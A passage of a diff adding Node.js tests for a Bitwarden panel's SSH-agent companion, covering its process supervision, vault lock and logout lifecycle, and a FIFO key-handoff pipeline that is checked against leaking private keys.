check("the supervisor Process is tracked, not detached",
|
||||
!/execDetached\([^)]*sshAgent/i.test(panelSrc), "found execDetached for the ssh agent")
|
||||
check("the supervisor keeps stdin open", /id:\s*sshAgentProc[\s\S]{0,400}?stdinEnabled:\s*true/.test(panelSrc),
|
||||
"sshAgentProc has no stdinEnabled: true")
|
||||
check("the supervisor parses stdout by line from startup",
|
||||
/id:\s*sshAgentProc[\s\S]{0,600}?stdout:\s*SplitParser/.test(panelSrc),
|
||||
"sshAgentProc has no SplitParser attached")
|
||||
check("the supervisor uses a minimal environment",
|
||||
/id:\s*sshAgentProc[\s\S]{0,600}?clearEnvironment:\s*true/.test(panelSrc),
|
||||
"sshAgentProc does not clear its environment")
|
||||
|
||||
// The helper cleans up its socket and FIFO when its control channel closes,
|
||||
// and not when it is signalled. A stop that goes straight to SIGTERM leaves
|
||||
// both behind for the next start to reclaim, so the supervisor has to ask
|
||||
// before it terminates.
|
||||
check("stopping the helper closes its control channel first",
|
||||
/function stopSshAgentHelper\(\)[\s\S]{0,600}?stdinEnabled = false/.test(panelSrc),
|
||||
"the stop path never closes stdin")
|
||||
check("stopping the helper sends the shutdown line",
|
||||
/function stopSshAgentHelper\(\)[\s\S]{0,600}?sshAgentShutdownLine\(\)/.test(panelSrc),
|
||||
"the stop path never sends shutdown")
|
||||
check("termination is a backstop behind a grace period",
|
||||
/sshAgentTerminateTimer[\s\S]{0,300}?onTriggered:\s*if \(sshAgentProc\.running\) sshAgentProc\.running = false/.test(panelSrc),
|
||||
"nothing terminates a helper that ignores the shutdown request")
|
||||
check("starting the helper reopens its control channel",
|
||||
/function startSshAgentHelper\(\)[\s\S]{0,300}?stdinEnabled = true/.test(panelSrc),
|
||||
"a restarted helper would have no control channel")
|
||||
|
||||
processTests().then(() => {
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`ssh-agent-control: ${pass} passed`)
|
||||
try { fs.rmSync(tmpRoot, { recursive: true, force: true }) } catch (e) {}
|
||||
})
|
||||
Binary file not shown.
@@ -0,0 +1,274 @@
|
||||
#!/usr/bin/env node
|
||||
// The vault's lifecycle drives the companion's. These tests pin the design's
|
||||
// state table and the ordering rules around a lock: deny first, cancel work,
|
||||
// drop private material, keep only the public projection, and never let the
|
||||
// panel's own lock wait on a companion that will not answer.
|
||||
//
|
||||
// node tests/ssh-agent-lifecycle.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.sshAgentVaultState = sshAgentVaultState
|
||||
exports.sshAgentIdentityPolicy = sshAgentIdentityPolicy
|
||||
exports.sshAgentLifecycleTransition = sshAgentLifecycleTransition
|
||||
exports.sshAgentLockAckTimeoutMs = sshAgentLockAckTimeoutMs
|
||||
exports.sshAgentVaultLockedLine = sshAgentVaultLockedLine
|
||||
exports.sshAgentLoggedOutLine = sshAgentLoggedOutLine
|
||||
exports.sshAgentRevokeGrantsLine = sshAgentRevokeGrantsLine
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const eq = (label, actual, expected) =>
|
||||
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
|
||||
|
||||
const ctx = extra => Object.assign({
|
||||
enabled: true, helperReady: true, loggedIn: true,
|
||||
unlocked: true, loading: false, hasPublicCache: true
|
||||
}, extra || {})
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The state table from the design, as one function
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("the feature off is its own state", Model.sshAgentVaultState(ctx({ enabled: false })), "disabled")
|
||||
eq("a stopped companion is disabled too", Model.sshAgentVaultState(ctx({ helperReady: false })), "disabled")
|
||||
eq("no account is logged out", Model.sshAgentVaultState(ctx({ loggedIn: false })), "logged-out")
|
||||
eq("a load in flight is loading", Model.sshAgentVaultState(ctx({ loading: true })), "loading")
|
||||
eq("an unlocked vault with keys is unlocked", Model.sshAgentVaultState(ctx()), "unlocked")
|
||||
eq("locked with a cache keeps the cache",
|
||||
Model.sshAgentVaultState(ctx({ unlocked: false })), "locked-cached")
|
||||
eq("locked before any load is empty",
|
||||
Model.sshAgentVaultState(ctx({ unlocked: false, hasPublicCache: false })), "locked-empty")
|
||||
|
||||
// Logged out outranks everything below it: an account change must not leave a
|
||||
// public projection behind just because one was loaded a moment ago.
|
||||
eq("logged out outranks a stale cache",
|
||||
Model.sshAgentVaultState(ctx({ loggedIn: false, hasPublicCache: true })), "logged-out")
|
||||
eq("disabled outranks logged out",
|
||||
Model.sshAgentVaultState(ctx({ enabled: false, loggedIn: false })), "disabled")
|
||||
|
||||
const policy = state => Model.sshAgentIdentityPolicy(state)
|
||||
|
||||
for (const [state, publicIds, privateKeys, signing] of [
|
||||
["disabled", false, false, "denied"],
|
||||
["logged-out", false, false, "denied"],
|
||||
["locked-empty", false, false, "needs-unlock"],
|
||||
["loading", true, false, "denied"],
|
||||
["unlocked", true, true, "allowed"],
|
||||
["locked-cached", true, false, "needs-unlock"]
|
||||
]) {
|
||||
const p = policy(state)
|
||||
eq(`${state} offers public identities: ${publicIds}`, p.publicIdentities, publicIds)
|
||||
eq(`${state} holds private keys: ${privateKeys}`, p.privateKeys, privateKeys)
|
||||
eq(`${state} signing is ${signing}`, p.signing, signing)
|
||||
}
|
||||
|
||||
// Private keys exist in exactly one state, and it is the only one that signs.
|
||||
const allStates = ["disabled", "logged-out", "locked-empty", "loading", "unlocked", "locked-cached"]
|
||||
eq("private keys live in exactly one state",
|
||||
allStates.filter(s => policy(s).privateKeys).length, 1)
|
||||
eq("only that state signs without a further unlock",
|
||||
allStates.filter(s => policy(s).signing === "allowed").join(","), "unlocked")
|
||||
check("no state holds private keys without allowing signing",
|
||||
allStates.every(s => !policy(s).privateKeys || policy(s).signing === "allowed"), "mismatch")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Lifecycle transitions
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const at = (event, extra) => Model.sshAgentLifecycleTransition(event, ctx(extra))
|
||||
|
||||
// A lock denies first and asks for an acknowledgment it will not wait on.
|
||||
const lock = at("lock", { loadActive: true })
|
||||
check("lock tells the companion to lock",
|
||||
lock.controlLines.indexOf(Model.sshAgentVaultLockedLine(ctx().epoch || 0)) >= 0
|
||||
|| lock.controlLines.some(l => l.indexOf('"vault_locked"') >= 0),
|
||||
JSON.stringify(lock.controlLines))
|
||||
eq("lock cancels an in-flight load", lock.cancelLoad, true)
|
||||
eq("lock starts no new load", lock.startLoad, false)
|
||||
eq("lock waits for an acknowledgment", lock.awaitLockAck, true)
|
||||
eq("lock keeps the public projection", lock.clearPublic, false)
|
||||
eq("lock does not stop the helper", lock.stopHelper, false)
|
||||
eq("the acknowledgment wait is bounded at two seconds", Model.sshAgentLockAckTimeoutMs(), 2000)
|
||||
|
||||
// Screen lock and suspend are locks. They are listed separately so the table
|
||||
// says so, rather than leaving it to a reader to infer from the panel.
|
||||
for (const event of ["screen-lock", "suspend"]) {
|
||||
const t = at(event, { loadActive: true })
|
||||
eq(`${event} locks the companion`, t.awaitLockAck, true)
|
||||
eq(`${event} cancels an in-flight load`, t.cancelLoad, true)
|
||||
eq(`${event} keeps the public projection`, t.clearPublic, false)
|
||||
check(`${event} sends the same line a lock does`,
|
||||
JSON.stringify(t.controlLines) === JSON.stringify(lock.controlLines), JSON.stringify(t.controlLines))
|
||||
}
|
||||
|
||||
// Logout and account change clear the public projection too.
|
||||
for (const event of ["logout", "account-change"]) {
|
||||
const t = at(event, { loadActive: true })
|
||||
eq(`${event} clears the public projection`, t.clearPublic, true)
|
||||
eq(`${event} cancels an in-flight load`, t.cancelLoad, true)
|
||||
check(`${event} tells the companion the account is gone`,
|
||||
t.controlLines.some(l => l.indexOf('"vault_logged_out"') >= 0), JSON.stringify(t.controlLines))
|
||||
check(`${event} does not merely lock`,
|
||||
!t.controlLines.some(l => l.indexOf('"vault_locked"') >= 0), JSON.stringify(t.controlLines))
|
||||
eq(`${event} waits for no acknowledgment`, t.awaitLockAck, false)
|
||||
}
|
||||
|
||||
// Unlock and sync both ride the panel's existing read.
|
||||
for (const event of ["unlock", "sync"]) {
|
||||
const t = at(event)
|
||||
eq(`${event} starts a key load`, t.startLoad, true)
|
||||
eq(`${event} clears nothing`, t.clearPublic, false)
|
||||
eq(`${event} sends no lifecycle line`, t.controlLines.length, 0)
|
||||
}
|
||||
|
||||
// Startup into a vault the keyring already unlocked. A freshly started
|
||||
// companion is in "locked, no cache yet" while the panel is unlocked, so
|
||||
// startup is not evidence that the vault is locked.
|
||||
const startup = at("startup", { unlocked: true, hasPublicCache: false })
|
||||
eq("starting beside a remembered session loads keys", startup.startLoad, true)
|
||||
const startupLocked = at("startup", { unlocked: false, hasPublicCache: false })
|
||||
eq("starting into a locked vault loads nothing", startupLocked.startLoad, false)
|
||||
|
||||
// Disabling stops the companion outright; its socket and FIFO go with it.
|
||||
const disabled = at("disable", { loadActive: true })
|
||||
eq("disabling stops the helper", disabled.stopHelper, true)
|
||||
eq("disabling cancels an in-flight load", disabled.cancelLoad, true)
|
||||
eq("disabling clears the public projection", disabled.clearPublic, true)
|
||||
|
||||
const shutdown = at("shutdown", { loadActive: true })
|
||||
eq("panel shutdown stops the helper", shutdown.stopHelper, true)
|
||||
eq("panel shutdown cancels an in-flight load", shutdown.cancelLoad, true)
|
||||
|
||||
// Nothing is asked of a companion that is not there to answer.
|
||||
for (const event of ["lock", "logout", "unlock", "sync", "screen-lock", "suspend"]) {
|
||||
const t = Model.sshAgentLifecycleTransition(event, ctx({ enabled: false, helperReady: false }))
|
||||
eq(`${event} sends nothing while disabled`, t.controlLines.length, 0)
|
||||
eq(`${event} starts no load while disabled`, t.startLoad, false)
|
||||
eq(`${event} waits for nothing while disabled`, t.awaitLockAck, false)
|
||||
}
|
||||
|
||||
// A helper that has not finished its handshake cannot be sent lifecycle lines,
|
||||
// but a lock must still cancel local work rather than quietly doing nothing.
|
||||
const lockNoHelper = Model.sshAgentLifecycleTransition("lock", ctx({ helperReady: false, loadActive: true }))
|
||||
eq("a lock with no live helper still cancels local work", lockNoHelper.cancelLoad, true)
|
||||
eq("a lock with no live helper waits for no acknowledgment", lockNoHelper.awaitLockAck, false)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The panel's own lock is never blocked by the companion
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
// The panel is three QML files now -- the SSH settings sections and the
|
||||
// approval screen have their own. A check that reads only the largest one
|
||||
// silently narrows as markup moves out of it.
|
||||
const panelSrc = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml"]
|
||||
.map(file => fs.readFileSync(path.join(repoRoot, file), "utf8"))
|
||||
.join("\n")
|
||||
const lockVault = panelSrc.slice(panelSrc.indexOf("function lockVault()"),
|
||||
panelSrc.indexOf("function lockVault()") + 1400)
|
||||
|
||||
check("locking runs bw lock without waiting on the companion",
|
||||
/lockProc\.running = true/.test(lockVault) && !/await|\.wait\(/.test(lockVault), lockVault.slice(0, 300))
|
||||
check("locking reports the vault locked on the panel's own schedule",
|
||||
/status = "locked"/.test(lockVault), "lockVault never sets the locked status")
|
||||
check("locking notifies the companion",
|
||||
/applySshAgentLifecycle\("lock"\)|sshAgentVaultLockedLine/.test(lockVault),
|
||||
"lockVault never tells the companion")
|
||||
|
||||
check("a lock acknowledgment timeout kills the helper",
|
||||
/id: sshAgentLockAckTimer[\s\S]{0,400}?onTriggered:[\s\S]{0,200}?(sshAgentProc\.running = false|killSshAgentHelper)/
|
||||
.test(panelSrc),
|
||||
"no acknowledgment timeout kills the helper")
|
||||
check("the acknowledgment timer uses the model's bound",
|
||||
/id: sshAgentLockAckTimer[\s\S]{0,200}?interval: Model\.sshAgentLockAckTimeoutMs\(\)/.test(panelSrc),
|
||||
"the acknowledgment timeout is not the model's")
|
||||
check("a locked acknowledgment stops the timer",
|
||||
/"locked"[\s\S]{0,300}?sshAgentLockAckTimer\.stop\(\)/.test(panelSrc),
|
||||
"the locked acknowledgment never stops the kill timer")
|
||||
|
||||
check("logout tells the companion the account is gone",
|
||||
/function logoutAccount\(\)[\s\S]{0,900}?applySshAgentLifecycle\("logout"\)/.test(panelSrc),
|
||||
"logoutAccount never notifies the companion")
|
||||
check("screen lock and suspend reach the companion through the lock path",
|
||||
/function onScreenLockState[\s\S]{0,300}?lockVault\(\)/.test(panelSrc)
|
||||
&& /function onSleepSignal[\s\S]{0,900}?lockVault\(\)/.test(panelSrc),
|
||||
"screen lock or suspend does not lock the vault")
|
||||
|
||||
check("the gate opening arms a startup load",
|
||||
/onSshAgentGateOpenChanged[\s\S]{0,1400}?sshAgentStartupLoadTimer\.restart\(\)/.test(panelSrc),
|
||||
"the gate opening never arms a startup load")
|
||||
check("a remembered unlocked session loads keys once the helper is ready",
|
||||
/function maybeStartupLoad\(\)[\s\S]{0,1200}?applySshAgentLifecycle\("startup"\)/.test(panelSrc),
|
||||
"nothing applies the startup transition")
|
||||
// On a shell restart the handshake and the first `bw status` race, so waiting
|
||||
// on only one of them loses the load whenever the other is second.
|
||||
check("both edges of the startup race trigger the load",
|
||||
/id: sshAgentStartupLoadTimer[\s\S]{0,200}?maybeStartupLoad\(\)/.test(panelSrc)
|
||||
&& /onStatusChanged:[\s\S]{0,200}?maybeStartupLoad\(\)/.test(panelSrc),
|
||||
"only one edge triggers the startup load")
|
||||
// The panel's first read is launched before the helper handshakes, so the
|
||||
// completion of that read is the third edge that can owe a key load.
|
||||
check("a completed read re-checks whether a startup load is owed",
|
||||
/function onListFinished\(rawJson\)[\s\S]{0,900}?maybeStartupLoad\(\)/.test(panelSrc),
|
||||
"a finished read never re-checks for an owed startup load")
|
||||
check("a startup attempt is recorded before it runs, not after",
|
||||
/sshAgentLoadedForVaultEpoch = root\.vaultEpoch\s*\n\s*applySshAgentLifecycle\("startup"\)/.test(panelSrc),
|
||||
"a failed startup load could relaunch itself")
|
||||
check("the startup load happens once per vault epoch, not once per edge",
|
||||
/function maybeStartupLoad\(\)[\s\S]{0,1200}?sshAgentLoadedForVaultEpoch === root\.vaultEpoch/.test(panelSrc),
|
||||
"nothing stops the startup load repeating")
|
||||
|
||||
// The lock acknowledgment is what stops the kill timer, so it has to be
|
||||
// consumed wherever the companion's messages are handled.
|
||||
const messageHandler = panelSrc.slice(
|
||||
panelSrc.indexOf("function onSshAgentMessage(message)"),
|
||||
panelSrc.indexOf("function syncSshAgentSupervision()"))
|
||||
check("the companion's own events are consumed rather than ignored",
|
||||
/message\.type === "locked"/.test(messageHandler) && /message\.type === "keys_loaded"/.test(messageHandler),
|
||||
"onSshAgentMessage ignores the lock acknowledgment or the load result")
|
||||
|
||||
// Turning the feature off stops the helper through the supervisor, which is a
|
||||
// different path from the lifecycle table -- so the table's clearPublic has to
|
||||
// be applied explicitly or the projection is left on disk by a feature that is
|
||||
// no longer running.
|
||||
check("disabling the feature clears the public projection",
|
||||
/onSshAgentEnabledChanged[\s\S]{0,700}?applySshAgentLifecycle\("disable"\)/.test(panelSrc),
|
||||
"disabling never applies the disable transition")
|
||||
|
||||
// A restarted helper is empty even when the vault epoch has not moved: the
|
||||
// keystore lives in the helper's memory, not the vault's. Keying the
|
||||
// startup-load guard on the vault epoch alone leaves a fresh helper keyless
|
||||
// until something unrelated happens to bump it.
|
||||
check("a new helper is always eligible for a load",
|
||||
/onSshAgentGateOpenChanged[\s\S]{0,700}?sshAgentLoadedForVaultEpoch = -1/.test(panelSrc),
|
||||
"a restarted helper inherits the old load bookkeeping and never loads")
|
||||
check("a departed helper's key count is not left standing",
|
||||
/onSshAgentGateOpenChanged[\s\S]{0,700}?sshAgentKeyCount = 0/.test(panelSrc),
|
||||
"the panel keeps reporting keys a dead helper no longer holds")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Control lines
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("revoke_grants is a versioned v1 line", Model.sshAgentRevokeGrantsLine(),
|
||||
JSON.stringify({ v: 1, type: "revoke_grants" }) + "\n")
|
||||
|
||||
for (const line of [Model.sshAgentVaultLockedLine(3), Model.sshAgentLoggedOutLine(),
|
||||
Model.sshAgentRevokeGrantsLine()]) {
|
||||
check("no lifecycle line carries key material or a session token",
|
||||
line.indexOf("BW_SESSION") < 0 && line.indexOf("privateKey") < 0 && line.indexOf("PRIVATE") < 0, line)
|
||||
}
|
||||
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`ssh-agent-lifecycle: ${pass} passed`)
|
||||
@@ -0,0 +1,477 @@
|
||||
#!/usr/bin/env node
|
||||
// One `bw list items` read feeds both the panel and the companion. These tests
|
||||
// run the real shell pipeline against a fake `bw` and a real FIFO, because the
|
||||
// properties that matter are process-boundary properties: what reaches QML's
|
||||
// stdout, what reaches the FIFO, and -- above all -- that the optional agent
|
||||
// branch can never take the ordinary item list down with it.
|
||||
//
|
||||
// node tests/ssh-agent-pipeline.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const os = require("os")
|
||||
const path = require("path")
|
||||
const { spawnSync, execFileSync } = require("child_process")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.sanitizedListCommand = sanitizedListCommand
|
||||
exports.sshAgentFifoPath = sshAgentFifoPath
|
||||
exports.loadIdEnvVar = loadIdEnvVar
|
||||
exports.isValidLoadId = isValidLoadId
|
||||
exports.loadIdCommand = loadIdCommand
|
||||
exports.sshAgentLoadBeginLine = sshAgentLoadBeginLine
|
||||
exports.sshAgentLoadEndLine = sshAgentLoadEndLine
|
||||
exports.sshAgentVaultLockedLine = sshAgentVaultLockedLine
|
||||
exports.sshAgentLoggedOutLine = sshAgentLoggedOutLine
|
||||
exports.sshAgentHelloLine = sshAgentHelloLine
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const eq = (label, actual, expected) =>
|
||||
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
|
||||
|
||||
const PRIVATE_MARKER = "SSH_PRIVATE_MARKER_must_not_reach_QML"
|
||||
const REPROMPT_MARKER = "REPROMPT_PRIVATE_MARKER_must_not_reach_the_agent"
|
||||
const LOAD_ID = "0123456789abcdef0123456789abcdef"
|
||||
|
||||
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-pipeline-"))
|
||||
const fixturePath = path.join(tempDir, "items.json")
|
||||
const runtimeDir = path.join(tempDir, "run")
|
||||
fs.mkdirSync(runtimeDir, { mode: 0o700 })
|
||||
fs.mkdirSync(path.join(runtimeDir, "qs-bitwarden-cli"), { mode: 0o700 })
|
||||
const fifoPath = Model.sshAgentFifoPath(runtimeDir)
|
||||
|
||||
fs.writeFileSync(path.join(tempDir, "bw"), [
|
||||
"#!/usr/bin/env bash",
|
||||
'if [ "$1" = "--version" ]; then printf "%s\\n" "${QSBW_BW_VERSION:-2026.2.0}"; exit 0; fi',
|
||||
'cat -- "$QSBW_FIXTURE"',
|
||||
'exit "${QSBW_BW_EXIT:-0}"',
|
||||
""
|
||||
].join("\n"), { mode: 0o755 })
|
||||
|
||||
const baseEnv = () => Object.assign({}, process.env, {
|
||||
PATH: tempDir + path.delimiter + process.env.PATH,
|
||||
QSBW_FIXTURE: fixturePath,
|
||||
XDG_RUNTIME_DIR: runtimeDir
|
||||
})
|
||||
|
||||
const privatePem = "-----BEGIN OPENSSH PRIVATE KEY-----\n" + PRIVATE_MARKER + "\n-----END OPENSSH PRIVATE KEY-----"
|
||||
const repromptPem = "-----BEGIN OPENSSH PRIVATE KEY-----\n" + REPROMPT_MARKER + "\n-----END OPENSSH PRIVATE KEY-----"
|
||||
|
||||
const fixture = [
|
||||
{ object: "item", id: "login-1", type: 1, name: "Login", login: { username: "u", password: "p" } },
|
||||
{ object: "item", id: "ssh-1", type: 5, name: "Work", favorite: true, reprompt: 0,
|
||||
sshKey: { privateKey: privatePem, publicKey: "ssh-ed25519 AAAAWORK", fingerprint: "SHA256:work" } },
|
||||
{ object: "item", id: "ssh-2", type: 5, name: "Guarded", reprompt: 1,
|
||||
sshKey: { privateKey: repromptPem, publicKey: "ssh-ed25519 AAAAGUARD", fingerprint: "SHA256:guard" } },
|
||||
{ object: "item", id: "bank-1", type: 6, name: "Bank", bankAccount: { number: "UNKNOWN_TYPE_MARKER" } }
|
||||
]
|
||||
|
||||
// A real reader on the FIFO, held open the way the companion holds it (O_RDWR),
|
||||
// so the writer never blocks on open and never sees the reader disappear.
|
||||
function withFifoReader(fn) {
|
||||
try { fs.unlinkSync(fifoPath) } catch (e) {}
|
||||
execFileSync("mkfifo", ["-m", "600", fifoPath])
|
||||
const fd = fs.openSync(fifoPath, fs.constants.O_RDWR | fs.constants.O_NONBLOCK)
|
||||
try {
|
||||
const result = fn()
|
||||
// Drain whatever the branch wrote, without blocking when it wrote nothing.
|
||||
let out = Buffer.alloc(0)
|
||||
const buf = Buffer.alloc(1 << 20)
|
||||
for (;;) {
|
||||
let n = 0
|
||||
try { n = fs.readSync(fd, buf, 0, buf.length, null) } catch (e) { break }
|
||||
if (n <= 0) break
|
||||
out = Buffer.concat([out, buf.slice(0, n)])
|
||||
}
|
||||
return { result, fifo: out.toString("utf8") }
|
||||
} finally {
|
||||
fs.closeSync(fd)
|
||||
try { fs.unlinkSync(fifoPath) } catch (e) {}
|
||||
}
|
||||
}
|
||||
|
||||
function runPipeline(opts, envOverrides, contents) {
|
||||
fs.writeFileSync(fixturePath, contents === undefined ? JSON.stringify(fixture) : contents)
|
||||
const command = Model.sanitizedListCommand(opts)
|
||||
return spawnSync(command[0], command.slice(1), {
|
||||
env: Object.assign(baseEnv(), envOverrides || {}),
|
||||
encoding: "utf8", maxBuffer: 20 * 1024 * 1024
|
||||
})
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The load nonce
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("the load id env var is named", Model.loadIdEnvVar(), "QSBW_LOAD_ID")
|
||||
eq("a 128-bit lowercase hex nonce is valid", Model.isValidLoadId(LOAD_ID), true)
|
||||
eq("a short nonce is refused", Model.isValidLoadId("abc"), false)
|
||||
eq("an uppercase nonce is refused", Model.isValidLoadId(LOAD_ID.toUpperCase()), false)
|
||||
eq("a non-hex nonce is refused", Model.isValidLoadId("z".repeat(32)), false)
|
||||
eq("an empty nonce is refused", Model.isValidLoadId(""), false)
|
||||
eq("a non-string nonce is refused", Model.isValidLoadId(null), false)
|
||||
|
||||
const nonceRun = spawnSync("bash", Model.loadIdCommand().slice(1), { encoding: "utf8" })
|
||||
const generated = String(nonceRun.stdout || "").trim()
|
||||
eq("the generator produces a usable nonce", Model.isValidLoadId(generated), true)
|
||||
const second = String(spawnSync("bash", Model.loadIdCommand().slice(1), { encoding: "utf8" }).stdout || "").trim()
|
||||
check("two nonces differ", generated !== second, generated + " == " + second)
|
||||
|
||||
// The nonce is what stops another same-UID process writing its own key set
|
||||
// into an open FIFO window. /proc/<pid>/cmdline is world-readable, so it must
|
||||
// never be an argument.
|
||||
const agentCommandText = Model.sanitizedListCommand({ agentBranch: true, runtimeDir: runtimeDir }).join(" ")
|
||||
// The fstat below is the check that decides; this one only keeps a dead
|
||||
// companion from costing a full decrypt-and-filter pass whose output has
|
||||
// nowhere to go.
|
||||
check("a missing FIFO skips the filter rather than running it for nobody",
|
||||
/if \[ -p "\$__qsbw_fifo" \]; then/.test(agentCommandText),
|
||||
agentCommandText.slice(0, 500))
|
||||
check("the FIFO is opened without following a swapped symlink",
|
||||
agentCommandText.indexOf("O_NOFOLLOW") >= 0, agentCommandText.slice(0, 500))
|
||||
check("the opened descriptor, not the pathname, is checked as a FIFO",
|
||||
agentCommandText.indexOf("fstatSync") >= 0 && agentCommandText.indexOf("S_IFIFO") >= 0,
|
||||
agentCommandText.slice(0, 500))
|
||||
check("the nonce is read from the environment, never passed in argv",
|
||||
agentCommandText.indexOf(Model.loadIdEnvVar()) >= 0 && agentCommandText.indexOf(LOAD_ID) < 0,
|
||||
"nonce appears literally in the command")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Disabled mode has no private branch at all
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const plainText = Model.sanitizedListCommand().join(" ")
|
||||
check("the default command has no tee branch", plainText.indexOf("tee") < 0, plainText.slice(0, 400))
|
||||
check("the default command never names the key FIFO",
|
||||
plainText.indexOf("ssh-keys.fifo") < 0, plainText.slice(0, 400))
|
||||
check("an explicitly disabled branch is identical to the default",
|
||||
Model.sanitizedListCommand({ agentBranch: false, runtimeDir: runtimeDir }).join(" ")
|
||||
=== Model.sanitizedListCommand().join(" "), "disabled form differs from the default")
|
||||
|
||||
const disabledRun = withFifoReader(() =>
|
||||
runPipeline({ agentBranch: false, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID }))
|
||||
eq("the disabled pipeline succeeds", disabledRun.result.status, 0)
|
||||
eq("the disabled pipeline writes nothing to the FIFO", disabledRun.fifo, "")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Enabled mode: one read, two consumers
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const enabled = withFifoReader(() =>
|
||||
runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID }))
|
||||
|
||||
eq("the fan-out pipeline succeeds", enabled.result.status, 0)
|
||||
|
||||
const panelOut = JSON.parse(enabled.result.stdout)
|
||||
check("QML still receives the ordinary items", panelOut.items.length === 1 && panelOut.items[0].id === "login-1",
|
||||
JSON.stringify(panelOut.items))
|
||||
eq("QML still receives both public SSH keys", panelOut.sshKeys.length, 2)
|
||||
check("no private key marker reaches QML", enabled.result.stdout.indexOf(PRIVATE_MARKER) < 0, "leaked")
|
||||
check("no re-prompt private marker reaches QML", enabled.result.stdout.indexOf(REPROMPT_MARKER) < 0, "leaked")
|
||||
check("no unknown cipher type reaches QML", enabled.result.stdout.indexOf("UNKNOWN_TYPE_MARKER") < 0, "leaked")
|
||||
|
||||
const payload = JSON.parse(enabled.fifo)
|
||||
eq("the FIFO payload carries the matching nonce", payload.loadId, LOAD_ID)
|
||||
eq("the FIFO payload carries only eligible keys", payload.items.length, 1)
|
||||
eq("the eligible key is the non-reprompt one", payload.items[0].itemId, "ssh-1")
|
||||
eq("the eligible key carries its private material", payload.items[0].privateKey, privatePem)
|
||||
eq("the eligible key carries its public blob", payload.items[0].publicKey, "ssh-ed25519 AAAAWORK")
|
||||
eq("the eligible key carries its fingerprint", payload.items[0].fingerprint, "SHA256:work")
|
||||
eq("the eligible key is not marked re-prompt", payload.items[0].requiresReprompt, false)
|
||||
|
||||
// Re-prompt private keys never leave the jq stage, so the companion is never
|
||||
// asked to hold one -- its own skip rule is the second line, not the first.
|
||||
check("no re-prompt private key reaches the FIFO", enabled.fifo.indexOf(REPROMPT_MARKER) < 0, "leaked")
|
||||
check("no ordinary item reaches the FIFO", enabled.fifo.indexOf("login-1") < 0, "leaked")
|
||||
check("no unknown cipher type reaches the FIFO", enabled.fifo.indexOf("UNKNOWN_TYPE_MARKER") < 0, "leaked")
|
||||
|
||||
// The companion decodes with serde `deny_unknown_fields`, so the projection
|
||||
// has to be exactly the agreed shape or every load fails closed.
|
||||
eq("the envelope has exactly loadId and items",
|
||||
Object.keys(payload).sort().join(","), "items,loadId")
|
||||
eq("each item has exactly the agreed fields",
|
||||
Object.keys(payload.items[0]).sort().join(","),
|
||||
"fingerprint,itemId,name,privateKey,publicKey,requiresReprompt")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The optional branch can never break the ordinary list
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
// No FIFO at all: the helper never started, or cleaned up on the way out.
|
||||
{
|
||||
try { fs.unlinkSync(fifoPath) } catch (e) {}
|
||||
const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })
|
||||
eq("a missing FIFO still loads the item list", run.status, 0)
|
||||
check("a missing FIFO still produces the full envelope",
|
||||
JSON.parse(run.stdout).sshKeys.length === 2, run.stdout.slice(0, 200))
|
||||
check("a missing FIFO is not created as a regular file", !fs.existsSync(fifoPath),
|
||||
"the branch created something at the FIFO path")
|
||||
}
|
||||
|
||||
// A regular file squatting on the FIFO path is never written through.
|
||||
{
|
||||
fs.writeFileSync(fifoPath, "not a fifo\n")
|
||||
const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })
|
||||
eq("a squatted FIFO path still loads the item list", run.status, 0)
|
||||
eq("the squatting file is untouched", fs.readFileSync(fifoPath, "utf8"), "not a fifo\n")
|
||||
check("no private key was written to the squatting file",
|
||||
fs.readFileSync(fifoPath, "utf8").indexOf(PRIVATE_MARKER) < 0, "leaked")
|
||||
